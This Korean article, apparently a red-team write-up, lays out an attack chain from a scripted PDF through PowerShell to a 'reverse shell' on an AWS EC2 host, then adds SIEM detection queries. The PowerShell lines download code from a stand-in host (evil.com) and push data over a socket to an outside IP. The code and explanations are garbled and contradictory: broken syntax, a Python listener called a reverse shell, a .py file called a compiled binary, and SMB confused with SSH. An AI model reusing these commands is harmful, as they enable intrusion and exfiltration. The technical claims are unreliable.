
무해해 보이는 PDF 파일에서 시작하여 AWS EC2 인스턴스에서 리버스 셸로 끝나는 실용적인 공격 체인
무해한 PDF 파일에서 시작하여 AWS EC2 인스턴스에서 리버스 셸로 이어지는 실용적인 공격 체인
공격의 최전선에서 모든 것이 시작됩니다. PowerShell에 내장된 WScript 개체를 사용하여 Windows 호스트에 전달될 PDF 내부에 스크립트를 삽입합니다. 페이로드는 원격 HTTP 엔드포인트에서 실행 파일을 가져와 로컬 파일 시스템에 기록합니다.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
핵심 이점은 PDF에 별도의 다운로드 단계가 필요 없다는 것입니다. PDF는 직접 PowerShell로 핸드오프되며, PowerShell이 체인의 다음 단계를 실행합니다.
PDF 스크립트가 대상 호스트(10.0.1.5)에서 실행되면 PowerShell을 사용하여 EC2 인스턴스(54.231.12.41)에 SMB 연결을 열고 해당 소켓을 통해 새로 다운로드한 실행 파일을 전송합니다. 동일한 코드는 모든 Windows 워크스테이션에서 실행할 수 있으므로 공격자에게 기업 LAN 내부의 눈에 띄지 않는 피벗 지점을 제공합니다.
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
SMB 패킷은 Windows 감사 로그에 표준 이벤트(EventID 4624)로 나타나므로 대부분의 SIEM 대시보드에서 쉽게 발견할 수 있습니다.
이 체인의 마지막 요소는 Python으로 작성된 작은 리버스 셸입니다. EC2에서 동일한 호스트로 다시 들어오는 SSH 연결을 수신하고 콘솔에 디버그 줄을 출력한 다음 종료합니다. rcmd.py로 컴파일되면 위의 PowerShell 단계에서 자동으로 실행됩니다.
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
Windows에서 기본적으로 실행되는 정적 바이너리이므로 대상 호스트에 추가 에이전트나 서비스를 설치할 필요가 없습니다.
보안 팀은 침해 가능성을 가정하고 다층 탐지 전략을 구축해야 합니다.
**비정상 트래픽 **
대상 호스트에서 비정상적으로 큰 SMB 패킷을 필터링합니다.
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
높은 메모리 사용량
대상 호스트에서 무시할 수 없는 프로세스임을 보여주기 위한 바이너리의 메모리 소비량.
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**업무 시간 외 창 **
레드 팀원들은 스크립트가 어떤 방식으로든 사용자에게 경고를 보낼까 봐 일반적으로 업무 시간에는 실행하지 않습니다. 이 쿼리는 예상치 못한 시간대의 트래픽을 검사합니다.
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 승인되지 않은 환경에서 이러한 기술을 사용하지 마십시오.